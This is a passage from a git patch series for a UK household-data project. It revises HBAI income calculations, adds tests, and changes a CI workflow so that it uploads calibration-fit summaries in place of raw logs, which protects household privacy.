+    weekly_bhc = np.array([-100.0, 100.0, 200.0, 300.0, 400.0])
+    annual_bhc = weekly_bhc * WEEKS_PER_YEAR
+    annual_ahc = (weekly_bhc - 50) * WEEKS_PER_YEAR
+    bhc, ahc = hbai_incomes(annual_bhc, annual_ahc, np.ones(5), np.ones(5))
+    np.testing.assert_allclose(bhc, [0, 100, 200, 300, 400])
+    np.testing.assert_allclose(ahc, [-50, 50, 150, 250, 350])
+    m = hbai_measures(bhc, ahc, np.ones(5), np.zeros(5, bool), np.zeros(5, bool))
+    assert m["mean_bhc"] == pytest.approx(200) and m["mean_ahc"] == pytest.approx(150)
+    assert m["gini_bhc"] == pytest.approx(40.0)
+    assert m["gini_ahc"] == pytest.approx(53.333333, rel=1e-6)
+
+
+def test_an_incomplete_or_non_finite_report_fails():
+    """Sol review of #600: every reference measure and age summary must be there."""
+    head = _report()
+    del head["hbai"]["median_bhc"]
+    result = compare(_report(), head)
+    assert result["status"] == "fail"
+    assert result["failures"] == ["The head report has no median_bhc."]
+    head = _report()
+    head["summary"]["single_age"]["mean_abs_error_0_79"] = float("nan")
+    result = compare(_report(), head)
+    assert result["status"] == "fail" and "not finite" in result["failures"][0]
+
+
+def test_the_workflow_fails_when_a_distribution_report_is_missing():
+    from pathlib import Path
+
+    text = (
+        Path(__file__).parents[2] / ".github" / "workflows" / "pull_request.yaml"
+    ).read_text()
+    block = text[
+        text.index("The income distribution and single-age reports are missing") :
+    ]
+    assert 'echo "status=1" >> "$GITHUB_OUTPUT"' in block.split("\n          fi", 1)[0]
diff --git a/policyengine_uk_data/utils/distribution_validation.py b/policyengine_uk_data/utils/distribution_validation.py
index f6f1dae8..bc7d87a0 100644
--- a/policyengine_uk_data/utils/distribution_validation.py
+++ b/policyengine_uk_data/utils/distribution_validation.py
@@ -42,7 +42,8 @@
 HBAI_REFERENCE = (
     Path(__file__).parents[1] / "targets" / "reference_data" / "hbai_fye_2025.yaml"
 )
-WEEKS_PER_YEAR = 52
+# The FRS loader annualises weekly amounts with 365.25 / 7 (datasets/frs.py).
+WEEKS_PER_YEAR = 365.25 / 7
 TOP_AGE_BAND = 80
 SEXES = {"male": ("MALE", "Males"), "female": ("FEMALE", "Females")}
 
@@ -69,6 +70,25 @@ def weighted_gini(values, weights) -> float:
     return float(1 - 2 * area)
 
 
+def hbai_incomes(bhc, ahc, equivalisation_bhc, equivalisation_ahc):
+    """Equivalised weekly incomes as HBAI defines them.
+
+    HBAI resets negative incomes before housing costs to zero, and derives
+    the income after housing costs from the adjusted figure, so it can still
+    be negative (DWP, HBAI background information and methodology, FYE 2025,
+    "Negative incomes"). ``bhc`` and ``ahc`` are annual household incomes.
+    """
+    bhc, ahc = np.asarray(bhc, float), np.asarray(ahc, float)
+    housing_costs = bhc - ahc
+    adjusted = np.maximum(bhc, 0.0)
+    return (
+        adjusted / np.asarray(equivalisation_bhc, float) / WEEKS_PER_YEAR,
+        (adjusted - housing_costs)
+        / np.asarray(equivalisation_ahc, float)
+        / WEEKS_PER_YEAR,
+    )
+
+
 def hbai_measures(income_bhc, income_ahc, weights, child, pensioner) -> dict:
     """The HBAI reference measures from person-level arrays.
 
@@ -194,9 +214,15 @@ def person(variable, year):
         return np.asarray(sim.calculate(variable, year, map_to="person").values, float)
 
     weights = person("household_weight", period)
+    income_bhc, income_ahc = hbai_incomes(
+        person("hbai_household_net_income", period),
+        person("hbai_household_net_income_ahc", period),
+        person("household_equivalisation_bhc", period),
+        person("household_equivalisation_ahc", period),
+    )
     measures = hbai_measures(
-        person("equiv_hbai_household_net_income", period) / WEEKS_PER_YEAR,
-        person("equiv_hbai_household_net_income_ahc", period) / WEEKS_PER_YEAR,
+        income_bhc,
+        income_ahc,
         weights,
         person("is_hbai_dependent_child", period) > 0,
         person("is_SP_age", period) > 0,
@@ -257,6 +283,25 @@ def compare(base: Mapping, head: Mapping) -> dict:
             "rows": [],
             "single_age": {},
         }
+    required = set(load_hbai_reference()["measures"])
+    for side, report in (("base", base), ("head", head)):
+        missing = sorted(required - set(report.get("hbai") or {}))
+        if missing:
+            failures.append(f"The {side} report has no {', '.join(missing)}.")
+        summary = (report.get("summary") or {}).get("single_age") or {}
+        for key in ("mean_abs_error_0_79", "max_abs_error_0_79", "max_abs_error_15_19"):
+            if not _finite(summary.get(key)):
+                failures.append(
+                    f"The {side} report's single-age {key} is missing or not finite."
+                )
+    if failures:
+        return {
+            "status": "fail",
+            "failures": failures,
+            "flags": [],
+            "rows": [],
+            "single_age": {},
+        }
     if base["periods"] != head["periods"]:
         failures.append(
             f"The reports measured different periods ({base['periods']} and {head['periods']})."

From 1d5a24937aac21d652d66e645f939a0910bd449b Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 09:17:19 -0400
Subject: [PATCH 27/76] Pin the aggregate-impact tool to policyengine-uk#2425's
 model-fingerprint commit

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml | 6 +++---
 1 file changed, 3 insertions(+), 3 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 7721f4a1..4a6ad172 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -97,7 +97,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: f642d6668ea6984ddbbbc98734dbec743c9295cc
+          ref: 7ca4ff2b8b148305a473bfda57269c8d351dfa6f
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact
@@ -204,7 +204,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: f642d6668ea6984ddbbbc98734dbec743c9295cc
+          ref: 7ca4ff2b8b148305a473bfda57269c8d351dfa6f
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact
@@ -276,7 +276,7 @@ jobs:
         uses: actions/checkout@v6
         with:
           repository: PolicyEngine/policyengine-uk
-          ref: f642d6668ea6984ddbbbc98734dbec743c9295cc
+          ref: 7ca4ff2b8b148305a473bfda57269c8d351dfa6f
           path: pe-uk-tool
           sparse-checkout: |
             policyengine_uk/utils/aggregate_impact

From 22e823f9f2c876fea171664dea0ed3127ed209c0 Mon Sep 17 00:00:00 2001
From: Max Ghenis <mghenis@gmail.com>
Date: Thu, 15 Oct 2026 09:20:28 -0400
Subject: [PATCH 28/76] Compare fit summaries, not raw calibration logs (Sol
 review of #599)

- Raw calibration logs stay on the runner. Each build uploads a summary:
  whether every national and local target is within 10%, and the error of
  national targets supported by at least 10 households only (the
  constituency log gains a records column). An estimate from a few records,
  divided by a published count, could give one household's value back.
  The test job's raw-log uploads are replaced by the summary too.
- The gate compares shares over the targets both builds have; added and
  removed targets are notes.
- An empty national or local group, or a last epoch with fewer rows than
  the one before, fails.
- The comment step writes a failure comment when the comparison never ran.

Co-Authored-By: Claude Opus 5.5 <noreply@anthropic.com>
---
 .github/workflows/pull_request.yaml           |  57 ++--
 .../local_areas/constituencies/calibrate.py   |   7 +
 policyengine_uk_data/tests/test_fit_report.py | 243 ++++++++++------
 policyengine_uk_data/utils/fit_report.py      | 275 +++++++++++-------
 4 files changed, 354 insertions(+), 228 deletions(-)

diff --git a/.github/workflows/pull_request.yaml b/.github/workflows/pull_request.yaml
index 4b035dc3..f7cf0b8c 100644
--- a/.github/workflows/pull_request.yaml
+++ b/.github/workflows/pull_request.yaml
@@ -86,17 +86,17 @@ jobs:
         run: uv run --frozen make data
         env:
           TESTING: "1"
-      - name: Save calibration log (constituencies)
+      # The raw calibration logs stay on the runner: a target supported by a
+      # few households, divided by a published count, could give one
+      # household's value back. Only the summary the fit comparison needs is
+      # uploaded (utils/fit_report.py).
+      - name: Summarise the calibration fit
+        run: uv run --frozen python -m policyengine_uk_data.utils.fit_report summarise constituency_calibration_log.csv --out fit_summary.json
+      - name: Save the fit summary
         uses: actions/upload-artifact@v7
         with:
-          name: constituency_calibration_log.csv
-          path: constituency_calibration_log.csv
-      
-      - name: Save calibration log (local authorities)
-        uses: actions/upload-artifact@v7
-        with:
-          name: la_calibration_log.csv
-          path: la_calibration_log.csv
+          name: fit_summary.json
+          path: fit_summary.json
 
       - name: Run tests
         run: uv run --frozen make test
@@ -145,11 +145,15 @@ jobs:
         run: uv run --frozen make data
         env:
           TESTING: "1"
-      - name: Save the base calibration log
+      - name: Summarise the base's calibration fit
+        run: |
+          cp head/policyengine_uk_data/utils/fit_report.py base/policyengine_uk_data/utils/fit_report.py
+          uv run --frozen --project base python -m policyengine_uk_data.utils.fit_report summarise base/constituency_calibration_log.csv --out base_fit_summary.json
+      - name: Save the base fit summary
         uses: actions/upload-artifact@v7
         with:
-          name: base_constituency_calibration_log.csv
-          path: base/constituency_calibration_log.csv
+          name: base_fit_summary.json
+          path: base_fit_summary.json
   fit-comparison:
     name: Calibration fit against the base
     needs: [test, base-build]
@@ -171,37 +175,31 @@ jobs:
           python-version: 3.13
       - name: Sync locked environment
         run: uv sync --frozen
-      - name: Download the head calibration log
-        uses: actions/download-artifact@v8
-        continue-on-error: true
-        with:
-          name: constituency_calibration_log.csv
-          path: logs/head
-      - name: Download the base calibration log
+      - name: Download the fit summaries
         uses: actions/download-artifact@v8
         continue-on-error: true
         with:
-          name: base_constituency_calibration_log.csv
-          path: logs/base
+          pattern: "*fit_summary.json"
+          path: logs
+          merge-multiple: true
       - name: Compare the final fits
         id: compare
         env:
           RUN_URL: ${{ github.server_url }}/${{ github.repository }}/actions/runs/${{ github.run_id }}
         run: |
           marker='<!-- policyengine-uk-data-fit-comparison -->'
-          if [ ! -f logs/head/constituency_calibration_log.csv ] || [ ! -f logs/base/constituency_calibration_log.csv ]; then
+          if [ ! -f logs/fit_summary.json ] || [ ! -f logs/base_fit_summary.json ]; then
             {
               echo "$marker"
               echo '## Calibration fit against the base build: FAIL'
               echo
-              echo "One of the builds produced no calibration log, so the fit could not be compared. See the [workflow run]($RUN_URL)."
+              echo "One of the builds produced no fit summary, so the fit could not be compared. See the [workflow run]($RUN_URL)."
             } > fit.md
             echo "status=1" >> "$GITHUB_OUTPUT"
           else
             set +e
             uv run --frozen python -m policyengine_uk_data.utils.fit_report compare \
-              logs/base/constituency_calibration_log.csv \
-              logs/head/constituency_calibration_log.csv --markdown body.md
+              logs/base_fit_summary.json logs/fit_summary.json --markdown body.md
             echo "status=$?" >> "$GITHUB_OUTPUT"
             set -e
             { echo "$marker"; cat body.md 2>/dev/null || echo '## Calibration fit against the base build: FAIL'; echo; echo "[Workflow run]($RUN_URL)"; } > fit.md
@@ -214,6 +212,15 @@ jobs:
           PR: ${{ github.event.pull_request.number }}
         run: |
           marker='<!-- policyengine-uk-data-fit-comparison -->'
+          if [ ! -s fit.md ]; then
+            # The job failed before the comparison could write a comment.
+            {
+              echo "$marker"
+              echo '## Calibration fit against the base build: FAIL'
+              echo
+              echo "The comparison did not run. See the [workflow run]($GITHUB_SERVER_URL/$GITHUB_REPOSITORY/actions/runs/$GITHUB_RUN_ID)."
+            } > fit.md
+          fi
           existing=$(gh api --paginate "repos/$GITHUB_REPOSITORY/issues/$PR/comments" \
             --jq ".[] | select(.user.login == \"github-actions[bot]\") | select(.body | startswith(\"$marker\")) | .id" \
             | tail -n 1)
diff --git a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
index 2e35d392..f361af6b 100644
--- a/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
+++ b/policyengine_uk_data/datasets/local_areas/constituencies/calibrate.py
@@ -1,3 +1,4 @@
+import numpy as np
 import pandas as pd
 from policyengine_uk_data.utils.calibrate import calibrate_local_areas
 from policyengine_uk_data.datasets.local_areas.constituencies.loss import (
@@ -91,6 +92,12 @@ def get_performance(weights, m_c, y_c, m_n, y_n, excluded_targets):
         }
     )
     national_target_validation["target"] = national_actuals.values
+    # Households with a non-zero value for each national target: how many
+    # records support its estimate (utils/fit_report.py publishes a target's
+    # error only from 10 records up).
+    national_target_validation["records"] = (
+        (np.asarray(national_target_matrix) != 0).sum(axis=0)
+    )
 
     national_target_validation["error"] = (
         national_target_validation["estimate"] - national_target_validation["target"]
diff --git a/policyengine_uk_data/tests/test_fit_report.py b/policyengine_uk_data/tests/test_fit_report.py
index 276540e2..8d427bf4 100644
--- a/policyengine_uk_data/tests/test_fit_report.py
+++ b/policyengine_uk_data/tests/test_fit_report.py
@@ -1,4 +1,6 @@
-"""The final calibration fit and the no-worsening comparison (utils/fit_report.py)."""
+"""The final calibration fit summary and the no-worsening comparison (utils/fit_report.py)."""
+
+import json
 
 import numpy as np
 import pandas as pd
@@ -7,110 +9,143 @@
 from hypothesis import strategies as st
 
 from policyengine_uk_data.utils.fit_report import (
+    MIN_RECORDS,
     FitPolicy,
-    compare_fits,
-    final_fit,
+    compare,
     load_policy,
     main,
+    summarise,
 )
 
 POLICY = FitPolicy(share_drop_allowance=0.02, target_flag_threshold=0.2)
 
 
-def _log(national: dict, local=(), epochs=(0, 30)):
+def _log(national: dict, local=(), epochs=(0, 30), records=100):
     """A calibration log: national {metric: (estimate, target)}, local [(est, target)]."""
     rows = []
     for epoch in epochs:
         for metric, (estimate, target) in national.items():
-            rows.append(("UK", metric, estimate, target, epoch))
+            rows.append(("UK", 0, metric, estimate, target, epoch, records))
         for i, (estimate, target) in enumerate(local):
-            rows.append((f"area {i}", f"local/{i}", estimate, target, epoch))
-    return pd.DataFrame(rows, columns=["name", "metric", "estimate", "target", "epoch"])
+            rows.append(
+                (f"area {i}", f"E{i}", f"local/{i}", estimate, target, epoch, np.nan)
+            )
+    return pd.DataFrame(
+        rows,
+        columns=["name", "index", "metric", "estimate", "target", "epoch", "records"],
+    )
+
+
+LOCAL = [(100, 100)] * 10
 
 
-def test_final_fit_reads_the_last_epoch_and_drops_zero_targets():
+def test_summarise_reads_the_last_epoch_and_drops_zero_targets():
     log = _log(
         {"a": (105, 100), "b": (150, 100), "zero": (5, 0)}, local=[(9, 10), (20, 10)]
     )
     log.loc[log.epoch == 0, "estimate"] = 1  # earlier epochs are ignored
-    fit = final_fit(log)
-    assert fit.epoch == 30
-    assert fit.national.to_dict() == pytest.approx({"a": 0.05, "b": 0.5})
-    assert fit.national_within == 0.5
-    assert fit.local_within == 0.5
+    s = summarise(log)
+    assert s["epoch"] == 30
+    assert s["national"]["a"] == {"within": True, "error": pytest.approx(0.05)}
+    assert s["national"]["b"] == {"within": False, "error": pytest.approx(0.5)}
+    assert "zero" not in s["national"]
+    assert s["local"] == {"E0|local/0": True, "E1|local/1": False}
+
+
+def test_a_target_with_few_records_has_no_published_error():
+    """Sol review of #599, P1: an estimate from a few records is not published."""
+    s = summarise(_log({"rare": (123.45, 100)}, local=LOCAL, records=MIN_RECORDS - 1))
+    assert s["national"]["rare"] == {"within": False, "error": None}
+    assert "123.45" not in json.dumps(s)
+    # A log without the records column publishes no errors at all.
+    s = summarise(_log({"a": (101, 100)}, local=LOCAL).drop(columns="records"))
+    assert s["national"]["a"]["error"] is None
+    # Local cells give only within 10% or not.
+    s = summarise(_log({"a": (101, 100)}, local=[(123.45, 100)]))
+    assert s["local"] == {"E0|local/0": False}
 
 
 def test_a_malformed_log_is_refused():
     with pytest.raises(ValueError, match="no rows"):
-        final_fit(_log({}, epochs=()))
-    log = _log({"a": (np.inf, 100)})
+        summarise(_log({}, epochs=()))
     with pytest.raises(ValueError, match="non-finite"):
-        final_fit(log)
-    log = pd.concat([_log({"a": (1, 1)}), _log({"a": (2, 1)})])
+        summarise(_log({"a": (np.inf, 100)}))
     with pytest.raises(ValueError, match="repeats"):
-        final_fit(log)
+        summarise(pd.concat([_log({"a": (1, 1)}), _log({"a": (2, 1)})]))
+
+
+def _summary(national_errors, local=LOCAL, epochs=(0, 30)):
+    return summarise(
+        _log(
+            {f"t{i}": (100 * (1 + e), 100) for i, e in enumerate(national_errors)},
+            local,
+            epochs,
+        )
+    )
 
 
 def test_a_drop_beyond_the_allowance_fails_and_within_it_passes():
-    targets = {f"t{i}": (100, 100) for i in range(100)}
-    base = final_fit(_log(targets, local=[(100, 100)] * 10))
-    worse = dict(targets, **{f"t{i}": (150, 100) for i in range(3)})
-    head = final_fit(_log(worse, local=[(100, 100)] * 10))
-    result = compare_fits(base, head, POLICY)
+    base = _summary([0.0] * 100)
+    head = _summary([0.5, 0.5, 0.5] + [0.0] * 97)
+    result = compare(base, head, POLICY)
     assert result["status"] == "fail"
     assert (
         "national targets within 10% falls from 100.0% to 97.0%"
         in result["failures"][0]
     )
     assert [f["target"] for f in result["flags"]] == ["t0", "t1", "t2"]
-    slightly = dict(targets, t0=(150, 100))
-    assert (
-        compare_fits(base, final_fit(_log(slightly, local=[(100, 100)] * 10)), POLICY)[
-            "status"
-        ]
-        == "pass"
-    )
+    assert compare(base, _summary([0.5] + [0.0] * 99), POLICY)["status"] == "pass"
 
 
-def test_builds_of_different_epochs_cannot_be_compared():
-    base = final_fit(_log({"a": (1, 1)}, epochs=(0, 30)))
-    head = final_fit(_log({"a": (1, 1)}, epochs=(0, 510, 511)))
-    assert compare_fits(base, head, POLICY)["status"] == "fail"
-    # 32 epochs log last at 30, or at 31 once the final epoch is saved (#594).
-    final = final_fit(_log({"a": (1, 1)}, epochs=(0, 30, 31)))
-    result = compare_fits(base, final, POLICY)
+def test_added_targets_do_not_count_against_the_existing_ones():
+    """Sol review of #599, P2: 100 unchanged targets plus 3 poor new ones pass."""
+    base = _summary([0.0] * 100)
+    head = summarise(
+        _log(
+            {
+                **{f"t{i}": (100, 100) for i in range(100)},
+                **{f"new{i}": (200, 100) for i in range(3)},
+            },
+            LOCAL,
+        )
+    )
+    result = compare(base, head, POLICY)
     assert result["status"] == "pass"
-    assert "saves the final epoch" in result["notes"][0]
+    assert result["summary"]["national"]["compared"] == 100
+    assert "3 national targets are new: new0, new1, new2" in result["notes"]
 
 
-def test_the_pull_request_workflow_uploads_only_calibration_logs():
-    """The datasets are licensed microdata: no job may upload or cache one."""
-    from pathlib import Path
+@pytest.mark.parametrize(
+    "head_log",
+    [
+        _log({"a": (1, 1)}, local=()),  # only national rows
+        _log({}, local=LOCAL),  # only local rows
+        _log({"a": (1, 0)}, local=[(1, 0)]),  # only zero targets
+    ],
+)
+def test_an_empty_target_group_fails(head_log):
+    """Sol review of #599, P2: empty groups used to give NaN shares and pass."""
+    result = compare(_summary([0.0] * 10), summarise(head_log), POLICY)
+    assert result["status"] == "fail"
+    assert "has no" in result["failures"][0]
 
-    import yaml
 
-    workflow = Path(__file__).parents[2] / ".github" / "workflows" / "pull_request.yaml"
-    jobs = yaml.safe_load(workflow.read_text())["jobs"]
-    uploads = []
-    for job in jobs.values():
-        for step in job.get("steps", []):
-            uses = step.get("uses", "")
-            assert not uses.startswith("actions/cache"), step
-            if uses.startswith("actions/upload-artifact"):
-                uploads.append(step["with"]["path"])
-    assert uploads and all(p.endswith("calibration_log.csv") for p in uploads), uploads
-    assert jobs["fit-comparison"]["needs"] == ["test", "base-build"]
+def test_an_incomplete_last_epoch_fails():
+    log = _log({f"t{i}": (100, 100) for i in range(10)}, LOCAL)
+    log = log[~((log.epoch == 30) & (log.metric == "t9"))]
+    result = compare(_summary([0.0] * 10), summarise(log), POLICY)
+    assert result["status"] == "fail" and "incomplete" in result["failures"][0]
 
 
-def test_new_and_removed_targets_are_noted_not_failed():
-    base = final_fit(_log({"a": (1, 1), "old": (1, 1)}))
-    head = final_fit(_log({"a": (1, 1), "new": (1, 1)}))
-    result = compare_fits(base, head, POLICY)
+def test_builds_of_different_epochs_cannot_be_compared():
+    base = _summary([0.0], epochs=(0, 30))
+    assert (
+        compare(base, _summary([0.0], epochs=(0, 510, 511)), POLICY)["status"] == "fail"
+    )
+    # 32 epochs log last at 30, or at 31 once the final epoch is saved (#594).
+    result = compare(base, _summary([0.0], epochs=(0, 30, 31)), POLICY)
     assert result["status"] == "pass"
-    assert result["notes"] == [
-        "1 national targets are new: new",
-        "1 national targets are gone: old",
-    ]
+    assert "saves the final epoch" in result["notes"][0]
 
 
 errors = st.lists(st.floats(0, 3), min_size=1, max_size=40)
@@ -119,13 +154,8 @@ def test_new_and_removed_targets_are_noted_not_failed():
 @settings(max_examples=200, deadline=None)
 @given(national=errors, local=errors)
 def test_a_build_compared_with_itself_passes_with_nothing_flagged(national, local):
-    fit = final_fit(
-        _log(
-            {f"t{i}": (100 * (1 + e), 100) for i, e in enumerate(national)},
-            local=[(100 * (1 + e), 100) for e in local],
-        )
-    )
-    result = compare_fits(fit, fit, POLICY)
+    s = _summary(national, local=[(100 * (1 + e), 100) for e in local])
+    result = compare(s, s, POLICY)
     assert result["status"] == "pass" and result["flags"] == []
     assert all(row["change"] == 0 for row in result["summary"].values())
 
@@ -134,18 +164,13 @@ def test_a_build_compared_with_itself_passes_with_nothing_flagged(national, loca
 @given(base=errors, data=st.data())
 def test_improving_every_target_never_fails_and_changes_are_antisymmetric(base, data):
     better = [data.draw(st.floats(0, e)) for e in base]
-    fit_base = final_fit(
-        _log({f"t{i}": (100 * (1 + e), 100) for i, e in enumerate(base)})
-    )
-    fit_head = final_fit(
-        _log({f"t{i}": (100 * (1 + e), 100) for i, e in enumerate(better)})
-    )
-    forward = compare_fits(fit_base, fit_head, POLICY)
+    forward = compare(_summary(base), _summary(better), POLICY)
     assert forward["status"] == "pass" and forward["flags"] == []
-    backward = compare_fits(fit_head, fit_base, POLICY)
+    backward = compare(_summary(better), _summary(base), POLICY)
     for name in ("national", "local"):
-        a, b = forward["summary"][name]["change"], backward["summary"][name]["change"]
-        assert a == pytest.approx(-b) or (np.isnan(a) and np.isnan(b))
+        assert forward["summary"][name]["change"] == pytest.approx(
+            -backward["summary"][name]["change"]
+        )
 
 
 def test_the_shipped_policy_loads():
@@ -154,26 +179,56 @@ def test_the_shipped_policy_loads():
     assert policy.target_flag_threshold == 0.2
 
 
-def test_the_command_exits_one_on_a_failure(tmp_path):
+def test_the_commands_summarise_and_exit_one_on_a_failure(tmp_path):
+    base_log, head_log = tmp_path / "base.csv", tmp_path / "head.csv"
     targets = {f"t{i}": (100, 100) for i in range(50)}
-    _log(targets).to_csv(tmp_path / "base.csv", index=False)
-    _log(dict(targets, **{f"t{i}": (200, 100) for i in range(5)})).to_csv(
-        tmp_path / "head.csv", index=False
+    _log(targets, LOCAL).to_csv(base_log, index=False)
+    _log(dict(targets, **{f"t{i}": (200, 100) for i in range(5)}), LOCAL).to_csv(
+        head_log, index=False
     )
-    out = tmp_path / "fit.md"
-    assert (
-        main(
-            [
-                "compare",
-                str(tmp_path / "base.csv"),
-                str(tmp_path / "head.csv"),
-                "--markdown",
-                str(out),
-            ]
+    for log in (base_log, head_log):
+        assert (
+            main(["summarise", str(log), "--out", str(log.with_suffix(".json"))]) == 0
         )
-        == 1
+    out = tmp_path / "fit.md"
+    code = main(
+        [
+            "compare",
+            str(tmp_path / "base.json"),
+            str(tmp_path / "head.json"),
+            "--markdown",
+            str(out),
+        ]
     )
+    assert code == 1
     assert "## Calibration fit against the base build: fail" in out.read_text()
     assert (
-        main(["compare", str(tmp_path / "base.csv"), str(tmp_path / "base.csv")]) == 0
+        main(["compare", str(tmp_path / "base.json"), str(tmp_path / "base.json")]) == 0
+    )
+
+
+def test_the_pull_request_workflow_uploads_only_summaries():
+    """The datasets are licensed microdata, and raw calibration logs stay on the runner."""
+    from pathlib import Path
+
+    import yaml
+
+    workflow = Path(__file__).parents[2] / ".github" / "workflows" / "pull_request.yaml"
+    jobs = yaml.safe_load(workflow.read_text())["jobs"]
+    uploads = sorted(
+        step["with"]["path"]
+        for job in jobs.values()
+        for step in job.get("steps", [])
+        if step.get("uses", "").startswith("actions/upload-artifact")
+    )
+    assert uploads == ["base_fit_summary.json", "fit_summary.json"]
+    for job in jobs.values():
+        for step in job.get("steps", []):
+            assert not step.get("uses", "").startswith("actions/cache"), step
+    assert jobs["fit-comparison"]["needs"] == ["test", "base-build"]
+    post = next(
+        s
+        for s in jobs["fit-comparison"]["steps"]
+        if s.get("name", "").startswith("Post")
     )
+    assert "if [ ! -s fit.md ]" in post["run"]
diff --git a/policyengine_uk_data/utils/fit_report.py b/policyengine_uk_data/utils/fit_report.py
index ef2d2cd3..379a99dc 100644
--- a/policyengine_uk_data/utils/fit_report.py
+++ b/policyengine_uk_data/utils/fit_report.py
@@ -1,29 +1,37 @@
-"""Final calibration fit from a build's log, and the comparison of two builds.
+"""Final calibration fit of a build, summarised safely, and the comparison of two.
 
 A build writes ``constituency_calibration_log.csv``: each target's estimate
-and value every tenth epoch, and at the last one. ``final_fit`` reads the
-last epoch. A target's error is |estimate / target - 1|, and targets of zero
-are left out. The national rows are those named ``UK``.
+and value every tenth epoch and at the last one, nationally (rows named
+``UK``) and for each constituency. The log stays on the runner that built
+it. ``summarise`` reduces its last epoch to what the comparison needs, and
+only the summary is uploaded:
 
-``compare_fits`` checks that a pull request does not worsen the fit of the
-build it would replace, both built the same way: same environment, epochs
-and clone count. Two rules come from ``targets/fit_policy.yaml``:
+- for every national and local target, whether its estimate is within 10%
+  of its value (|estimate / target - 1| <= 0.1), with zero targets left out;
+- for a national target supported by at least ``MIN_RECORDS`` households
+  (the log's ``records`` column), its error. A target supported by fewer has
+  no error in the summary: an estimate built from a few records, divided
+  by a published count, could give one household's value back.
 
-- **Fail** when the share of national (or local) targets within 10% falls
-  by more than the allowance.
-- **Flag** each national target whose error rises by more than the
-  same-code spread, for review.
+``compare`` checks that a pull request does not worsen the fit of the build
+it would replace, built the same way (same environment, epochs and clones),
+using the policy in ``targets/fit_policy.yaml``:
 
-Per-target moves are not yet gates: builds of the same code currently
-differ by up to 0.62 on one target (#598).
+- **Fail** when the share of national, or of local, targets within 10%
+  falls by more than the allowance, over the targets both builds have.
+  Added and removed targets are reported, not counted.
+- **Flag** each national target whose error rises by more than the
+  same-code spread, for review. Per-target moves do not fail while builds
+  of the same code differ by up to 0.62 on one target (#598).
 
-    python -m policyengine_uk_data.utils.fit_report compare BASE.csv HEAD.csv \\
-        [--markdown out.md]
+    python -m policyengine_uk_data.utils.fit_report summarise LOG.csv --out summary.json
+    python -m policyengine_uk_data.utils.fit_report compare BASE.json HEAD.json [--markdown out.md]
 """
 
 from __future__ import annotations
 
 import argparse
+import json
 import sys
 from dataclasses import dataclass
 from pathlib import Path
@@ -34,31 +42,10 @@
 import yaml
 
 POLICY_PATH = Path(__file__).parents[1] / "targets" / "fit_policy.yaml"
+SCHEMA = "policyengine-uk-data-fit-summary/1"
 WITHIN = 0.10
-_COLUMNS = ["name", "metric", "estimate", "target", "epoch"]
-
-
-@dataclass(frozen=True)
-class Fit:
-    epoch: int
-    national: pd.Series  # error by target name
-    local_errors: np.ndarray
-
-    @property
-    def national_within(self) -> float:
-        return (
-            float(np.mean(self.national <= WITHIN))
-            if len(self.national)
-            else float("nan")
-        )
-
-    @property
-    def local_within(self) -> float:
-        return (
-            float(np.mean(self.local_errors <= WITHIN))
-            if len(self.local_errors)
-            else float("nan")
-        )
+MIN_RECORDS = 10
+_COLUMNS = ["name", "index", "metric", "estimate", "target", "epoch"]
 
 
 @dataclass(frozen=True)
@@ -78,104 +65,158 @@ def load_policy(path=None) -> FitPolicy:
     )
 
 
-def errors(frame: pd.DataFrame) -> pd.Series:
-    """|estimate / target - 1| for rows with a non-zero target."""
-    frame = frame[frame.target != 0]
-    return (frame.estimate / frame.target - 1).abs()
-
-
-def final_fit(log) -> Fit:
-    """The fit at a calibration log's last epoch."""
-    df = (
-        pd.read_csv(log, usecols=_COLUMNS) if not isinstance(log, pd.DataFrame) else log
-    )
+def summarise(log) -> dict:
+    """The last epoch of a calibration log, reduced to what may leave the runner."""
+    if isinstance(log, pd.DataFrame):
+        df = log
+    else:
+        header = pd.read_csv(log, nrows=0).columns
+        usecols = _COLUMNS + (["records"] if "records" in header else [])
+        df = pd.read_csv(log, usecols=usecols)
     if df.empty:
         raise ValueError("the calibration log has no rows")
-    last = int(df.epoch.max())
+    epochs = sorted(df.epoch.unique())
+    last = int(epochs[-1])
     rows = df[df.epoch == last]
+    previous = int((df.epoch == epochs[-2]).sum()) if len(epochs) > 1 else None
     national = rows[rows.name == "UK"]
     if national.metric.duplicated().any():
         raise ValueError(
             "the calibration log repeats a national target at its last epoch"
         )
-    national_errors = errors(national.set_index("metric"))
-    local_errors = errors(rows[rows.name != "UK"]).to_numpy()
-    if not np.isfinite(national_errors).all() or not np.isfinite(local_errors).all():
+    national = national[national.target != 0].set_index("metric")
+    local = rows[(rows.name != "UK") & (rows.target != 0)]
+    n_errors = (national.estimate / national.target - 1).abs()
+    l_errors = (local.estimate / local.target - 1).abs()
+    if not np.isfinite(n_errors).all() or not np.isfinite(l_errors).all():
         raise ValueError("the calibration log has non-finite estimates")
-    return Fit(last, national_errors, local_errors)
+    records = national["records"] if "records" in national else None
+    return {
+        "schema": SCHEMA,
+        "epoch": last,
+        "rows_last_epoch": int(len(rows)),
+        "rows_previous_epoch": previous,
+        "national": {
+            metric: {
+                "within": bool(error <= WITHIN),
+                "error": float(error)
+                if records is not None and int(records[metric]) >= MIN_RECORDS
+                else None,
+            }
+            for metric, error in n_errors.items()
+        },
+        "local": {
+            f"{i}|{m}": bool(e <= WITHIN)
+            for i, m, e in zip(local["index"], local.metric, l_errors)
+        },
+    }
+
+
+def _within(value) -> bool:
+    return value["within"] if isinstance(value, dict) else bool(value)
+
 
+def _share(flags: list) -> float:
+    return float(np.mean(flags)) if flags else float("nan")
 
-def compare_fits(base: Fit, head: Fit, policy: FitPolicy) -> dict:
+
+def compare(base: dict, head: dict, policy: FitPolicy) -> dict:
